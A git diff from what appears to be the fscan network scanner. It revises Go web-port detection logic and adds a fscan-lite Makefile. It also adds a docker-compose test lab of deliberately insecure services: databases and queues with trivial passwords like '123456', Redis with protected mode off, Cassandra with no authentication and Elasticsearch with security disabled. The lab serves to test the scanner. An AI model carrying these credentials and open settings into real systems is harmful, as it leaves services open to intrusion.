func (w *WebPortDetector) tryHTTPConnectionDirect(ctx context.Context, host string, port int, protocol string) bool {
|
||||||
// 构造URL
|
// 构造URL
|
||||||
var url string
|
var url string
|
||||||
if (port == 80 && protocol == "http") || (port == 443 && protocol == "https") {
|
if (port == 80 && protocol == "http") || (port == 443 && protocol == "https") {
|
||||||
@ -250,128 +261,163 @@ func (w *WebPortDetector) tryHTTPConnection(ctx context.Context, host string, po
|
|||||||
func (w *WebPortDetector) analyzeHTTPError(err error) bool {
|
func (w *WebPortDetector) analyzeHTTPError(err error) bool {
|
||||||
errStr := strings.ToLower(err.Error())
|
errStr := strings.ToLower(err.Error())
|
||||||
|
|
||||||
// 先检查明确的非Web服务错误
|
// 简化逻辑:既然我们已经做了协议预检查,到这里的都应该是可能的HTTP服务
|
||||||
nonWebErrors := []string{
|
// 只检查明确的连接错误
|
||||||
|
connectionErrors := []string{
|
||||||
"connection refused",
|
"connection refused",
|
||||||
"no such host",
|
"no such host",
|
||||||
"network unreachable",
|
"network unreachable",
|
||||||
"timeout",
|
|
||||||
"deadline exceeded",
|
"deadline exceeded",
|
||||||
"connection reset",
|
"timeout",
|
||||||
"eof",
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, nonWebErr := range nonWebErrors {
|
for _, connErr := range connectionErrors {
|
||||||
if strings.Contains(errStr, nonWebErr) {
|
if strings.Contains(errStr, connErr) {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 这些错误表明连接到了HTTP服务器,只是协议或其他问题
|
// 所有其他错误(包括malformed response、SSL错误等)都认为不是HTTP服务
|
||||||
webIndicators := []string{
|
// 因为我们已经通过协议预检查确认目标可能是HTTP服务
|
||||||
"malformed http response",
|
// 如果仍然出错,说明不是标准的HTTP服务
|
||||||
"unexpected http response",
|
common.LogDebug(fmt.Sprintf("HTTP请求失败,判定为非HTTP服务: %s", err.Error()))
|
||||||
"ssl handshake",
|
|
||||||
"certificate",
|
|
||||||
"tls",
|
|
||||||
"bad request",
|
|
||||||
"method not allowed",
|
|
||||||
"server gave http response",
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, indicator := range webIndicators {
|
|
||||||
if strings.Contains(errStr, indicator) {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
// analyzeHTTPResponse 分析HTTP响应,判断是否为Web服务
|
// analyzeHTTPResponse 分析HTTP响应,判断是否为Web服务
|
||||||
func (w *WebPortDetector) analyzeHTTPResponse(resp *http.Response, url string) bool {
|
func (w *WebPortDetector) analyzeHTTPResponse(resp *http.Response, url string) bool {
|
||||||
// 任何HTTP状态码都表明这是Web服务
|
// 检查是否为有效的HTTP响应
|
||||||
if resp.StatusCode > 0 {
|
if resp.StatusCode <= 0 {
|
||||||
// 分析响应头获取更多信息
|
return false
|
||||||
serverHeader := resp.Header.Get("Server")
|
|
||||||
contentType := resp.Header.Get("Content-Type")
|
|
||||||
|
|
||||||
// 记录检测到的Web服务器信息
|
|
||||||
if serverHeader != "" {
|
|
||||||
common.LogDebug(fmt.Sprintf("检测到Web服务器: %s (Server: %s)", url, serverHeader))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 特殊处理:某些非Web服务也会返回HTTP响应
|
|
||||||
if w.isNonWebHTTPService(serverHeader, contentType) {
|
|
||||||
common.LogDebug(fmt.Sprintf("端口返回HTTP响应但可能不是Web服务: %s", url))
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
return true
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return false
|
// 检查状态码是否合理(避免协议混淆导致的假阳性)
|
||||||
|
if resp.StatusCode < 100 || resp.StatusCode >= 600 {
|
||||||
|
common.LogDebug(fmt.Sprintf("端口返回无效HTTP状态码: %d", resp.StatusCode))
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// 更严格的验证:检查是否有基本的HTTP头部
|
||||||
|
if len(resp.Header) == 0 {
|
||||||
|
common.LogDebug(fmt.Sprintf("端口返回HTTP响应但缺少HTTP头部: %s", url))
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否包含标准HTTP头部字段
|
||||||
|
hasValidHeaders := false
|
||||||
|
standardHeaders := []string{"Server", "Content-Type", "Content-Length", "Date", "Connection", "Cache-Control"}
|
||||||
|
for _, header := range standardHeaders {
|
||||||
|
if resp.Header.Get(header) != "" {
|
||||||
|
hasValidHeaders = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if !hasValidHeaders {
|
||||||
|
common.LogDebug(fmt.Sprintf("端口返回响应但缺少标准HTTP头部: %s", url))
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// 分析响应头获取更多信息
|
||||||
|
serverHeader := resp.Header.Get("Server")
|
||||||
|
contentType := resp.Header.Get("Content-Type")
|
||||||
|
|
||||||
|
// 特殊处理:某些非Web服务也会返回HTTP响应
|
||||||
|
if w.isNonWebHTTPService(serverHeader, contentType) {
|
||||||
|
common.LogDebug(fmt.Sprintf("端口返回HTTP响应但可能不是Web服务: %s", url))
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// 记录检测到的Web服务器信息
|
||||||
|
if serverHeader != "" {
|
||||||
|
common.LogDebug(fmt.Sprintf("检测到Web服务器: %s (Server: %s)", url, serverHeader))
|
||||||
|
}
|
||||||
|
|
||||||
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
// isNonWebHTTPService 判断是否为非Web的HTTP服务
|
// isNonWebHTTPService 判断是否为非Web的HTTP服务
|
||||||
func (w *WebPortDetector) isNonWebHTTPService(serverHeader, contentType string) bool {
|
func (w *WebPortDetector) isNonWebHTTPService(serverHeader, contentType string) bool {
|
||||||
// 某些服务使用HTTP协议但不是传统Web服务
|
// 简化:只基于实际响应内容判断,不用硬编码列表
|
||||||
nonWebServices := []string{
|
|
||||||
"docker",
|
|
||||||
"kubernetes",
|
|
||||||
"consul",
|
|
||||||
"etcd",
|
|
||||||
"vault",
|
|
||||||
"nomad",
|
|
||||||
}
|
|
||||||
|
|
||||||
serverLower := strings.ToLower(serverHeader)
|
|
||||||
for _, service := range nonWebServices {
|
|
||||||
if strings.Contains(serverLower, service) {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
// GetWebPortRange 获取可能的Web端口范围(用于高级扫描)
|
// quickProtocolCheck 快速协议检查,避免向非HTTP服务发送HTTP请求
|
||||||
func (w *WebPortDetector) GetWebPortRange() []int {
|
func (w *WebPortDetector) quickProtocolCheck(ctx context.Context, host string, port int) bool {
|
||||||
// 返回扩展的Web端口列表,用于目标发现
|
// 检查协议缓存
|
||||||
var ports []int
|
protocolKey := fmt.Sprintf("%s:%d:protocol", host, port)
|
||||||
for port := range w.commonWebPorts {
|
w.cacheMutex.RLock()
|
||||||
ports = append(ports, port)
|
if cached, exists := w.protocolCache[protocolKey]; exists {
|
||||||
|
w.cacheMutex.RUnlock()
|
||||||
|
return cached
|
||||||
}
|
}
|
||||||
|
w.cacheMutex.RUnlock()
|
||||||
|
|
||||||
|
// 执行实际的协议检测
|
||||||
|
result := w.doProtocolCheck(ctx, host, port)
|
||||||
|
|
||||||
// 添加一些常见的自定义端口范围
|
// 缓存结果
|
||||||
customRanges := []int{
|
w.cacheMutex.Lock()
|
||||||
8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099,
|
w.protocolCache[protocolKey] = result
|
||||||
9001, 9002, 9003, 9004, 9005, 9006, 9007, 9008, 9009,
|
w.cacheMutex.Unlock()
|
||||||
10000, 10001, 10002, 10003, 10004, 10005,
|
|
||||||
}
|
|
||||||
|
|
||||||
ports = append(ports, customRanges...)
|
return result
|
||||||
return ports
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// IsWebPortByPattern 基于端口模式判断是否可能是Web端口
|
// doProtocolCheck 执行实际的协议检测
|
||||||
func (w *WebPortDetector) IsWebPortByPattern(port int) bool {
|
func (w *WebPortDetector) doProtocolCheck(ctx context.Context, host string, port int) bool {
|
||||||
portStr := strconv.Itoa(port)
|
// 建立TCP连接
|
||||||
|
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", host, port), 2*time.Second)
|
||||||
// Web端口的常见模式
|
if err != nil {
|
||||||
webPatterns := []*regexp.Regexp{
|
return false
|
||||||
regexp.MustCompile(`^80\d{2}$`), // 80xx
|
|
||||||
regexp.MustCompile(`^90\d{2}$`), // 90xx
|
|
||||||
regexp.MustCompile(`^300\d$`), // 300x
|
|
||||||
regexp.MustCompile(`^[3-9]000$`), // x000
|
|
||||||
regexp.MustCompile(`^1[0-9]000$`), // 1x000
|
|
||||||
}
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
// 设置读取超时
|
||||||
|
conn.SetReadDeadline(time.Now().Add(1 * time.Second))
|
||||||
|
|
||||||
for _, pattern := range webPatterns {
|
// 读取服务器的初始响应(如果有)
|
||||||
if pattern.MatchString(portStr) {
|
buffer := make([]byte, 512)
|
||||||
return true
|
n, err := conn.Read(buffer)
|
||||||
|
if err != nil {
|
||||||
|
// 大多数HTTP服务不会主动发送数据,这是正常的
|
||||||
|
// 超时或EOF表示服务器在等待客户端请求(HTTP特征)
|
||||||
|
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
|
||||||
|
return true // HTTP服务通常不主动发送数据
|
||||||
|
}
|
||||||
|
if err.Error() == "EOF" {
|
||||||
|
return true // 连接正常但无数据,可能是HTTP
|
||||||
|
}
|
||||||
|
return true // 其他错误也可能是HTTP服务
|
||||||
|
}
|
||||||
|
|
||||||
|
if n > 0 {
|
||||||
|
// 如果服务器主动发送数据,检查是否包含明显的二进制内容
|
||||||
|
// 简单规则:如果包含太多不可打印字符,很可能不是HTTP协议
|
||||||
|
nonPrintableCount := 0
|
||||||
|
for i := 0; i < n && i < 100; i++ { // 只检查前100字节
|
||||||
|
b := buffer[i]
|
||||||
|
if b < 32 && b != 9 && b != 10 && b != 13 { // 排除tab、换行、回车
|
||||||
|
nonPrintableCount++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果不可打印字符太多(超过20%),很可能是二进制协议
|
||||||
|
if nonPrintableCount > n/5 {
|
||||||
|
common.LogDebug(fmt.Sprintf("端口 %d 检测到二进制协议(不可打印字符: %d/%d)", port, nonPrintableCount, n))
|
||||||
|
return false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return false
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// min 辅助函数
|
||||||
|
func min(a, b int) int {
|
||||||
|
if a < b {
|
||||||
|
return a
|
||||||
|
}
|
||||||
|
return b
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
339
docker-compose.yml
Normal file
339
docker-compose.yml
Normal file
@ -0,0 +1,339 @@
|
|||||||
|
version: '3.8'
|
||||||
|
|
||||||
|
services:
|
||||||
|
# === 数据库服务 ===
|
||||||
|
mysql:
|
||||||
|
image: mysql:latest
|
||||||
|
container_name: fscan-mysql
|
||||||
|
environment:
|
||||||
|
MYSQL_ROOT_PASSWORD: Password
|
||||||
|
MYSQL_DATABASE: mydb
|
||||||
|
ports:
|
||||||
|
- "3306:3306"
|
||||||
|
volumes:
|
||||||
|
- mysql_data:/var/lib/mysql
|
||||||
|
healthcheck:
|
||||||
|
test: ["CMD", "mysql", "-uroot", "-pPassword", "-e", "SELECT 1"]
|
||||||
|
interval: 30s
|
||||||
|
timeout: 3s
|
||||||
|
retries: 3
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
postgresql:
|
||||||
|
image: postgres:latest
|
||||||
|
container_name: fscan-postgresql
|
||||||
|
environment:
|
||||||
|
POSTGRES_USER: postgres
|
||||||
|
POSTGRES_PASSWORD: 123456
|
||||||
|
POSTGRES_DB: mydb
|
||||||
|
ports:
|
||||||
|
- "5432:5432"
|
||||||
|
volumes:
|
||||||
|
- postgresql_data:/var/lib/postgresql/data
|
||||||
|
healthcheck:
|
||||||
|
test: ["CMD-SHELL", "pg_isready -U postgres"]
|
||||||
|
interval: 30s
|
||||||
|
timeout: 3s
|
||||||
|
retries: 3
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
mongodb:
|
||||||
|
image: mongo:latest
|
||||||
|
container_name: fscan-mongodb
|
||||||
|
environment:
|
||||||
|
MONGO_INITDB_ROOT_USERNAME: admin
|
||||||
|
MONGO_INITDB_ROOT_PASSWORD: 123456
|
||||||
|
ports:
|
||||||
|
- "27017:27017"
|
||||||
|
volumes:
|
||||||
|
- mongodb_data:/data/db
|
||||||
|
healthcheck:
|
||||||
|
test: ["CMD", "mongosh", "--eval", "db.runCommand('ping').ok", "localhost:27017/test", "--quiet"]
|
||||||
|
interval: 30s
|
||||||
|
timeout: 3s
|
||||||
|
retries: 3
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
redis:
|
||||||
|
image: redis:5.0.1
|
||||||
|
container_name: fscan-redis
|
||||||
|
command: redis-server --bind 0.0.0.0 --protected-mode no --port 6379
|
||||||
|
ports:
|
||||||
|
- "6379:6379"
|
||||||
|
volumes:
|
||||||
|
- redis_data:/data
|
||||||
|
- ./test_dirs:/test_dirs
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
neo4j:
|
||||||
|
image: neo4j:4.4
|
||||||
|
container_name: fscan-neo4j
|
||||||
|
environment:
|
||||||
|
NEO4J_AUTH: neo4j/123456
|
||||||
|
NEO4J_dbms_security_procedures_unrestricted: apoc.*
|
||||||
|
NEO4J_dbms_security_auth_enabled: true
|
||||||
|
ports:
|
||||||
|
- "7474:7474"
|
||||||
|
- "7687:7687"
|
||||||
|
volumes:
|
||||||
|
- neo4j_data:/data
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
memcached:
|
||||||
|
image: memcached:latest
|
||||||
|
container_name: fscan-memcached
|
||||||
|
command: ["memcached", "-m", "64", "-c", "1024", "-v"]
|
||||||
|
ports:
|
||||||
|
- "11211:11211"
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
cassandra:
|
||||||
|
image: cassandra:3.11
|
||||||
|
container_name: fscan-cassandra
|
||||||
|
environment:
|
||||||
|
CASSANDRA_AUTHENTICATOR: AllowAllAuthenticator
|
||||||
|
ports:
|
||||||
|
- "9042:9042"
|
||||||
|
- "9160:9160"
|
||||||
|
volumes:
|
||||||
|
- cassandra_data:/var/lib/cassandra
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
mssql:
|
||||||
|
image: mcr.microsoft.com/mssql/server:2022-latest
|
||||||
|
container_name: fscan-mssql
|
||||||
|
environment:
|
||||||
|
ACCEPT_EULA: Y
|
||||||
|
MSSQL_SA_PASSWORD: P@ssword123
|
||||||
|
MSSQL_PID: Express
|
||||||
|
ports:
|
||||||
|
- "1433:1433"
|
||||||
|
volumes:
|
||||||
|
- mssql_data:/var/opt/mssql
|
||||||
|
healthcheck:
|
||||||
|
test: ["CMD-SHELL", "/opt/mssql-tools/bin/sqlcmd -S localhost -U sa -P P@ssword123 -Q 'SELECT 1' || exit 1"]
|
||||||
|
interval: 30s
|
||||||
|
timeout: 3s
|
||||||
|
retries: 3
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
# === Web服务 ===
|
||||||
|
tomcat:
|
||||||
|
build: ./TestDocker/Tomcat/
|
||||||
|
container_name: fscan-tomcat
|
||||||
|
ports:
|
||||||
|
- "8080:8080"
|
||||||
|
volumes:
|
||||||
|
- tomcat_webapps:/usr/local/tomcat/webapps
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
# === 搜索引擎 ===
|
||||||
|
elasticsearch:
|
||||||
|
image: docker.elastic.co/elasticsearch/elasticsearch:7.9.3
|
||||||
|
container_name: fscan-elasticsearch
|
||||||
|
environment:
|
||||||
|
- discovery.type=single-node
|
||||||
|
- network.host=0.0.0.0
|
||||||
|
- ELASTIC_PASSWORD=elastic123
|
||||||
|
- xpack.security.enabled=false
|
||||||
|
ports:
|
||||||
|
- "9200:9200"
|
||||||
|
- "9300:9300"
|
||||||
|
volumes:
|
||||||
|
- elasticsearch_data:/usr/share/elasticsearch/data
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
# === 消息队列 ===
|
||||||
|
rabbitmq:
|
||||||
|
image: rabbitmq:3-management
|
||||||
|
container_name: fscan-rabbitmq
|
||||||
|
environment:
|
||||||
|
RABBITMQ_DEFAULT_USER: admin
|
||||||
|
RABBITMQ_DEFAULT_PASS: 123456
|
||||||
|
ports:
|
||||||
|
- "5672:5672"
|
||||||
|
- "15672:15672"
|
||||||
|
volumes:
|
||||||
|
- rabbitmq_data:/var/lib/rabbitmq
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
activemq:
|
||||||
|
build: ./TestDocker/ActiveMQ/
|
||||||
|
container_name: fscan-activemq
|
||||||
|
ports:
|
||||||
|
- "61613:61613"
|
||||||
|
- "61614:61614"
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
kafka:
|
||||||
|
image: bitnami/kafka:latest
|
||||||
|
container_name: fscan-kafka
|
||||||
|
environment:
|
||||||
|
- KAFKA_CFG_NODE_ID=1
|
||||||
|
- KAFKA_CFG_PROCESS_ROLES=broker,controller
|
||||||
|
- KAFKA_CFG_CONTROLLER_QUORUM_VOTERS=1@kafka:9093
|
||||||
|
- KAFKA_CFG_CONTROLLER_LISTENER_NAMES=CONTROLLER
|
||||||
|
- KAFKA_CFG_LISTENERS=CONTROLLER://:9093,SASL_PLAINTEXT://:9092
|
||||||
|
- KAFKA_CFG_ADVERTISED_LISTENERS=SASL_PLAINTEXT://localhost:9092
|
||||||
|
- KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=CONTROLLER:PLAINTEXT,SASL_PLAINTEXT:SASL_PLAINTEXT
|
||||||
|
- KAFKA_CFG_SASL_ENABLED_MECHANISMS=PLAIN
|
||||||
|
- KAFKA_CFG_SASL_MECHANISM_INTER_BROKER_PROTOCOL=PLAIN
|
||||||
|
- KAFKA_CFG_INTER_BROKER_LISTENER_NAME=SASL_PLAINTEXT
|
||||||
|
- KAFKA_OPTS=-Djava.security.auth.login.config=/opt/bitnami/kafka/config/kafka_jaas.conf
|
||||||
|
- ALLOW_PLAINTEXT_LISTENER=yes
|
||||||
|
ports:
|
||||||
|
- "9092:9092"
|
||||||
|
volumes:
|
||||||
|
- ./TestDocker/Kafka/kafka_jaas.conf:/opt/bitnami/kafka/config/kafka_jaas.conf
|
||||||
|
- kafka_data:/bitnami/kafka
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
# === 目录服务 ===
|
||||||
|
ldap:
|
||||||
|
build: ./TestDocker/LDAP/
|
||||||
|
container_name: fscan-ldap
|
||||||
|
environment:
|
||||||
|
LDAP_ORGANISATION: "Example Inc"
|
||||||
|
LDAP_DOMAIN: "example.com"
|
||||||
|
LDAP_BASE_DN: "dc=example,dc=com"
|
||||||
|
LDAP_ADMIN_PASSWORD: "Aa123456789"
|
||||||
|
LDAP_READONLY_USER: "true"
|
||||||
|
LDAP_READONLY_USER_USERNAME: "readonly"
|
||||||
|
LDAP_READONLY_USER_PASSWORD: "readonly"
|
||||||
|
ports:
|
||||||
|
- "389:389"
|
||||||
|
- "636:636"
|
||||||
|
volumes:
|
||||||
|
- ldap_data:/var/lib/ldap
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
# === 网络服务 ===
|
||||||
|
ftp:
|
||||||
|
image: bogem/ftp
|
||||||
|
container_name: fscan-ftp
|
||||||
|
environment:
|
||||||
|
- FTP_USER=admin
|
||||||
|
- FTP_PASS=123456
|
||||||
|
- PASV_ADDRESS=127.0.0.1
|
||||||
|
- PASV_MIN_PORT=30000
|
||||||
|
- PASV_MAX_PORT=30100
|
||||||
|
ports:
|
||||||
|
- "21:21"
|
||||||
|
- "20:20"
|
||||||
|
- "30000-30100:30000-30100"
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
ssh:
|
||||||
|
build: ./TestDocker/SSH/
|
||||||
|
container_name: fscan-ssh
|
||||||
|
ports:
|
||||||
|
- "2222:22"
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
smtp:
|
||||||
|
build: ./TestDocker/SMTP/
|
||||||
|
container_name: fscan-smtp
|
||||||
|
ports:
|
||||||
|
- "25:25"
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
snmp:
|
||||||
|
build: ./TestDocker/SNMP/
|
||||||
|
container_name: fscan-snmp
|
||||||
|
ports:
|
||||||
|
- "161:161/udp"
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
rsync:
|
||||||
|
build: ./TestDocker/Rsync/
|
||||||
|
container_name: fscan-rsync
|
||||||
|
ports:
|
||||||
|
- "873:873"
|
||||||
|
volumes:
|
||||||
|
- ./test_data:/data/public
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
vnc:
|
||||||
|
build: ./TestDocker/VNC/
|
||||||
|
container_name: fscan-vnc
|
||||||
|
ports:
|
||||||
|
- "5901:5901"
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
telnet:
|
||||||
|
build: ./TestDocker/Telnet/
|
||||||
|
container_name: fscan-telnet
|
||||||
|
ports:
|
||||||
|
- "23:23"
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
# === 监控系统 ===
|
||||||
|
zabbix-mysql:
|
||||||
|
image: mysql:8.0
|
||||||
|
container_name: fscan-zabbix-mysql
|
||||||
|
command: --default-authentication-plugin=mysql_native_password
|
||||||
|
environment:
|
||||||
|
MYSQL_ROOT_PASSWORD: root123
|
||||||
|
MYSQL_DATABASE: zabbix
|
||||||
|
MYSQL_USER: zabbix
|
||||||
|
MYSQL_PASSWORD: zabbix123
|
||||||
|
ports:
|
||||||
|
- "3307:3306" # 避免与主MySQL冲突
|
||||||
|
volumes:
|
||||||
|
- zabbix_mysql_data:/var/lib/mysql
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
zabbix-server:
|
||||||
|
image: zabbix/zabbix-server-mysql:ubuntu-6.0.23
|
||||||
|
container_name: fscan-zabbix-server
|
||||||
|
environment:
|
||||||
|
DB_SERVER_HOST: zabbix-mysql
|
||||||
|
MYSQL_DATABASE: zabbix
|
||||||
|
MYSQL_USER: zabbix
|
||||||
|
MYSQL_PASSWORD: zabbix123
|
||||||
|
MYSQL_ROOT_PASSWORD: root123
|
||||||
|
ports:
|
||||||
|
- "10051:10051"
|
||||||
|
depends_on:
|
||||||
|
- zabbix-mysql
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
zabbix-web:
|
||||||
|
image: zabbix/zabbix-web-nginx-mysql:ubuntu-6.0.23
|
||||||
|
container_name: fscan-zabbix-web
|
||||||
|
environment:
|
||||||
|
DB_SERVER_HOST: zabbix-mysql
|
||||||
|
MYSQL_DATABASE: zabbix
|
||||||
|
MYSQL_USER: zabbix
|
||||||
|
MYSQL_PASSWORD: zabbix123
|
||||||
|
MYSQL_ROOT_PASSWORD: root123
|
||||||
|
ZBX_SERVER_HOST: zabbix-server
|
||||||
|
PHP_TZ: Asia/Shanghai
|
||||||
|
ports:
|
||||||
|
- "8081:8080" # 避免与Tomcat冲突
|
||||||
|
- "8443:8443"
|
||||||
|
depends_on:
|
||||||
|
- zabbix-mysql
|
||||||
|
- zabbix-server
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
# === 数据卷 ===
|
||||||
|
volumes:
|
||||||
|
mysql_data:
|
||||||
|
postgresql_data:
|
||||||
|
mongodb_data:
|
||||||
|
redis_data:
|
||||||
|
neo4j_data:
|
||||||
|
cassandra_data:
|
||||||
|
tomcat_webapps:
|
||||||
|
elasticsearch_data:
|
||||||
|
rabbitmq_data:
|
||||||
|
kafka_data:
|
||||||
|
ldap_data:
|
||||||
|
zabbix_mysql_data:
|
||||||
|
mssql_data:
|
||||||
|
|
||||||
|
# === 网络 ===
|
||||||
|
networks:
|
||||||
|
default:
|
||||||
|
driver: bridge
|
145
fscan-lite/Makefile
Normal file
145
fscan-lite/Makefile
Normal file
@ -0,0 +1,145 @@
|
|||||||
|
# Makefile for fscan-lite
|
||||||
|
# 极简但完整的跨平台构建脚本
|
||||||
|
# 目标:最大兼容性,支持古老的make版本
|
||||||
|
|
||||||
|
# 编译器和标志
|
||||||
|
CC = gcc
|
||||||
|
CFLAGS = -std=c89 -Wall -O2
|
||||||
|
LDFLAGS =
|
||||||
|
LIBS =
|
||||||
|
|
||||||
|
# 平台检测
|
||||||
|
UNAME_S := $(shell uname -s 2>/dev/null || echo Windows)
|
||||||
|
|
||||||
|
# Windows平台配置
|
||||||
|
ifeq ($(OS),Windows_NT)
|
||||||
|
PLATFORM = windows
|
||||||
|
EXT = .exe
|
||||||
|
LIBS = -lws2_32
|
||||||
|
RM = del /Q
|
||||||
|
MKDIR = mkdir
|
||||||
|
PATHSEP = \\
|
||||||
|
else
|
||||||
|
# Unix-like系统配置
|
||||||
|
PLATFORM = unix
|
||||||
|
EXT =
|
||||||
|
LIBS = -lpthread
|
||||||
|
RM = rm -f
|
||||||
|
MKDIR = mkdir -p
|
||||||
|
PATHSEP = /
|
||||||
|
|
||||||
|
# Linux特定配置
|
||||||
|
ifeq ($(UNAME_S),Linux)
|
||||||
|
PLATFORM = linux
|
||||||
|
endif
|
||||||
|
|
||||||
|
# macOS特定配置
|
||||||
|
ifeq ($(UNAME_S),Darwin)
|
||||||
|
PLATFORM = macos
|
||||||
|
endif
|
||||||
|
endif
|
||||||
|
|
||||||
|
# 目录和文件
|
||||||
|
SRCDIR = src
|
||||||
|
INCDIR = include
|
||||||
|
BINDIR = bin
|
||||||
|
TARGET = $(BINDIR)$(PATHSEP)fscan-lite$(EXT)
|
||||||
|
|
||||||
|
# 源文件
|
||||||
|
SOURCES = $(SRCDIR)/main.c $(SRCDIR)/scanner.c $(SRCDIR)/platform.c
|
||||||
|
OBJECTS = main.o scanner.o platform.o
|
||||||
|
|
||||||
|
# 默认目标
|
||||||
|
all: $(TARGET)
|
||||||
|
|
||||||
|
# 创建输出目录
|
||||||
|
$(BINDIR):
|
||||||
|
$(MKDIR) $(BINDIR)
|
||||||
|
|
||||||
|
# 主要构建目标
|
||||||
|
$(TARGET): $(BINDIR) $(OBJECTS)
|
||||||
|
$(CC) $(LDFLAGS) -o $@ $(OBJECTS) $(LIBS)
|
||||||
|
@echo "Build completed: $@"
|
||||||
|
|
||||||
|
# 目标文件编译规则
|
||||||
|
main.o: $(SRCDIR)/main.c
|
||||||
|
$(CC) $(CFLAGS) -I$(INCDIR) -c $< -o $@
|
||||||
|
|
||||||
|
scanner.o: $(SRCDIR)/scanner.c
|
||||||
|
$(CC) $(CFLAGS) -I$(INCDIR) -c $< -o $@
|
||||||
|
|
||||||
|
platform.o: $(SRCDIR)/platform.c
|
||||||
|
$(CC) $(CFLAGS) -I$(INCDIR) -c $< -o $@
|
||||||
|
|
||||||
|
# 静态编译目标
|
||||||
|
static: LDFLAGS += -static
|
||||||
|
static: CFLAGS += -DSTATIC_BUILD
|
||||||
|
static: $(TARGET)
|
||||||
|
@echo "Static build completed"
|
||||||
|
|
||||||
|
# 最小化编译(体积优化)
|
||||||
|
small: CFLAGS = -std=c89 -Os -ffunction-sections -fdata-sections -DSTATIC_BUILD
|
||||||
|
small: LDFLAGS = -static -s -Wl,--gc-sections
|
||||||
|
small: $(TARGET)
|
||||||
|
@echo "Minimal build completed"
|
||||||
|
|
||||||
|
# 调试版本
|
||||||
|
debug: CFLAGS += -g -DDEBUG
|
||||||
|
debug: $(TARGET)
|
||||||
|
@echo "Debug build completed"
|
||||||
|
|
||||||
|
# 测试目标
|
||||||
|
test: $(TARGET)
|
||||||
|
@echo "Running basic tests..."
|
||||||
|
$(TARGET) --version
|
||||||
|
$(TARGET) --help
|
||||||
|
@echo "Basic tests completed"
|
||||||
|
|
||||||
|
# 清理
|
||||||
|
clean:
|
||||||
|
$(RM) *.o
|
||||||
|
$(RM) $(TARGET)
|
||||||
|
|
||||||
|
# 完全清理(包括目录)
|
||||||
|
distclean: clean
|
||||||
|
ifeq ($(OS),Windows_NT)
|
||||||
|
if exist $(BINDIR) rmdir /S /Q $(BINDIR)
|
||||||
|
else
|
||||||
|
rm -rf $(BINDIR)
|
||||||
|
endif
|
||||||
|
|
||||||
|
# 安装(简单复制到系统路径)
|
||||||
|
install: $(TARGET)
|
||||||
|
ifeq ($(OS),Windows_NT)
|
||||||
|
@echo "Manual installation required on Windows"
|
||||||
|
@echo "Copy $(TARGET) to desired location"
|
||||||
|
else
|
||||||
|
install -m 755 $(TARGET) /usr/local/bin/
|
||||||
|
@echo "Installed to /usr/local/bin/"
|
||||||
|
endif
|
||||||
|
|
||||||
|
# 显示构建信息
|
||||||
|
info:
|
||||||
|
@echo "Build information:"
|
||||||
|
@echo " Platform: $(PLATFORM)"
|
||||||
|
@echo " Compiler: $(CC)"
|
||||||
|
@echo " CFLAGS: $(CFLAGS)"
|
||||||
|
@echo " LIBS: $(LIBS)"
|
||||||
|
@echo " Target: $(TARGET)"
|
||||||
|
|
||||||
|
# 帮助信息
|
||||||
|
help:
|
||||||
|
@echo "Available targets:"
|
||||||
|
@echo " all - Build normal version (default)"
|
||||||
|
@echo " static - Build static linked version"
|
||||||
|
@echo " small - Build minimal size version"
|
||||||
|
@echo " debug - Build debug version"
|
||||||
|
